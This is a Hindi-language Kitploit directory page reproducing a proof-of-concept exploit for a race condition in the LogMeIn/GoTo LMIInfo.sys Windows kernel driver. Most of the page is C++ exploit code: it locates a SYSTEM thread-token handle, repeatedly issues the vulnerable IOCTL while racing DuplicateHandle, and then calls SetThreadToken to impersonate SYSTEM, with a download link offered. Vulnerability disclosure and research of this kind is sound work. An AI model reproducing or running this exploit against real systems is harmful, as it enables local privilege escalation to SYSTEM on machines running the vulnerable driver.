Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
LogMeInPoCHandleDup — LogMeIn/GoTo Windows कर्नेल ड्राइवर रेस कंडीशन के लिए एक्सप्लॉइट जो SYSTEM हैंडल्स की नकल करता है, जिससे थ्रेड-टोकन इम्पर्सनेशन और लोकल प्रिविलेज एस्केलेशन संभव हो पाता है। | Kitploit
उपकरण/GitHubGitHub/alfarom256/logmeinpochandledup
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगबाइनरी शोषण
GitHubalfarom256/logmeinpochandledup

LogMeInPoCHandleDup

LogMeIn/GoTo Windows कर्नेल ड्राइवर रेस कंडीशन के लिए एक्सप्लॉइट जो SYSTEM हैंडल्स की नकल करता है, जिससे थ्रेड-टोकन इम्पर्सनेशन और लोकल प्रिविलेज एस्केलेशन संभव हो पाता है।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
64722 साल पहलेKitploit द्वारा समीक्षित

LogMeIn / GoTo LMIInfo.sys हैंडल डुप्लिकेशन

सारांश

LogMeIn / GoTo RMM द्वारा प्रदान किए गए LMIInfo.sys ड्राइवर में एक रेस कंडीशन मौजूद है, जिसमें SYSTEM प्रक्रिया से एक मनमाना हैंडल डुप्लिकेट किया जा सकता है। मुख्य समस्या डिवाइस ऑब्जेक्ट पर उचित एक्सेस नियंत्रण की कमी के साथ-साथ SYSTEM प्रक्रिया से उपयोगकर्ता-निर्दिष्ट हैंडल को डुप्लिकेट करने का स्पष्ट रूप से खराब निर्णय है।

विवरण

IOCTL: 0x9211001C

इनपुट बफर:

root@kitploit:~
// LMI-Common.cpp
typedef struct LMI_INFO {
	DWORD64 qwPid;
	DWORD64 reserved0;
	DWORD64 handleValue;
	DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;

डिस्पैच:

Dispatch table

असुरक्षित फ़ंक्शन:

Vulnerable function

हैंडल जानकारी एकत्र करने और स्ट्रिंग प्रोसेसिंग करने के दौरान, ZwDuplicateObject/ZwClose के कॉल के बीच, कॉल करने वाली प्रक्रिया डुप्लिकेट किए गए हैंडल को फिर से डुप्लिकेट कर सकती है। यदि इसे सही ढंग से किया जाए, तो द्वितीयक डुप्लिकेट हैंडल प्राथमिक डुप्लिकेट हैंडल के बंद होने के बाद भी बना रहेगा।

बग को विश्वसनीय रूप से ट्रिगर करने के लिए, प्रक्रिया द्वारा उपयोग किए जाने वाले सभी हैंडल्स को रेस कंडीशन ट्रिगर करने से पहले बनाया जाना चाहिए। लक्ष्य हैंडल को निम्नलिखित फ़ंक्शन का उपयोग करके सिस्टम प्रक्रिया से क्वेरी किया जाता है (उदाहरण के रूप में थ्रेड टोकन का उपयोग किया गया है):

root@kitploit:~
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
	HANDLE hHeap = GetProcessHeap();
	LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
	if (!lpBuf) {
		printf("HeapAlloc - %d\n", GetLastError());
		return INVALID_HANDLE_VALUE;
	}
	ULONG ulBytesReturned = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);

	while (status == 0xC0000004) {
		HeapFree(hHeap, 0, lpBuf);
		lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
		if (!lpBuf) {
			printf("HeapAlloc - %d\n", GetLastError());
			return INVALID_HANDLE_VALUE;
		}
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
	}


	if (status) {
		printf("Query for handles failed - %lx\n", status);
		return INVALID_HANDLE_VALUE;
	}

	PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;

	for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
		SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
		if (shtei.UniqueProcessId != 4) {
			continue;
		}
		printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
		if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
			printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
			return (HANDLE)shtei.HandleValue;
		}
	}

	return INVALID_HANDLE_VALUE;
}

जैसे-जैसे HANDLE मान 4 की वृद्धि में बढ़ते हैं, हम HANDLE की गिनती प्राप्त करके और 4 जोड़कर प्राथमिक डुप्लिकेट हैंडल का मान निकालते हैं। इस प्रकार हम डिवाइस खोलते हैं, और अगले हैंडल मान की गणना करने से पहले "रेसिंग" थ्रेड को सस्पेंडेड अवस्था में बनाते हैं। यह संभवतः अधिक स्थिर और "परिष्कृत" तरीके से किया जा सकता है, जिसे पाठक के लिए एक अभ्यास के रूप में छोड़ा गया है, जो संभवतः अधिक कुशल है lmao।

root@kitploit:~
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
	HANDLE highestHandle = 0;
	UINT32 u32NumHandles = 0;
	ULONG ulSizeReturned = 0;
	NTSTATUS status = 0;
	status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
	if (!NT_SUCCESS(status)) {
		return (HANDLE)-1;
	}

	return (HANDLE)((UINT64)++u32NumHandles * 4);
}

पूरा होने के बाद, रेसिंग थ्रेड को फिर से शुरू किया जाता है और बार-बार IOCTL जारी किए जाते हैं:

root@kitploit:~
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
	puts("Entered DupeThread");
	if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
		printf("Invalid device handle passed to thread : %lx\n", GetLastError());
		return -1;
	}

	PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;

	DWORD dwBytesReturned = 0;
	LMI_INFO lmii = { 0 };
	lmii.qwPid = 4;
	lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know

	if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
		puts("Couldn't find a token handle in the system process??");
	}

	BOOL bRes = FALSE;
	LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

	if (!lpOutBuf) {
		printf("HeapAlloc : %lx\n", GetLastError());
		return -1;
	}

	while (Dti->Run) {
		// call DeviceIoControl to start the race
		bRes = DeviceIoControl(
			Dti->hDevice,
			IOCTL_DUPE_LEL,
			&lmii,
			sizeof(LMI_INFO),
			lpOutBuf,
			0x1000,
			&dwBytesReturned,
			NULL
		);
	}	
}

रेसिंग थ्रेड की डिज़ाइन सोच निम्नलिखित कारणों से है:

  • मैं रेस कंडीशन का शोषण करने में बुरा हूँ

मुख्य थ्रेड डुप्लिकेशन सफल होने तक प्राथमिक डुप्लिकेट हैंडल को डुप्लिकेट करने के लिए बार-बार DuplicateHandle को कॉल करता है, और रेसिंग थ्रेड से बाहर निकलने के लिए ग्लोबल बूलियन को false पर सेट किया जाता है (हाँ, हाँ, मुझे पता है)।

root@kitploit:~
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);

puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
    printf("Error resuming dupe thread - %lx\n", GetLastError());
    return -1;
}

while (!bRes) {
    bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}

dti.Run = FALSE;

if (bRes) {
    puts("ebin");
    printf("%llx - target\n", hTarget);
    printf("%llx - dup\n", hToken);
    bRes = SetThreadToken(NULL, hToken);
    if (!bRes) {
        printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
    }
    else {
        puts("Set the thread token!");
    }
}
else {
    printf("Failed to dupe token: %lx\n", GetLastError());
    return -1;
}

getchar();
return 0;

वीडियो

टूल डाउनलोड करें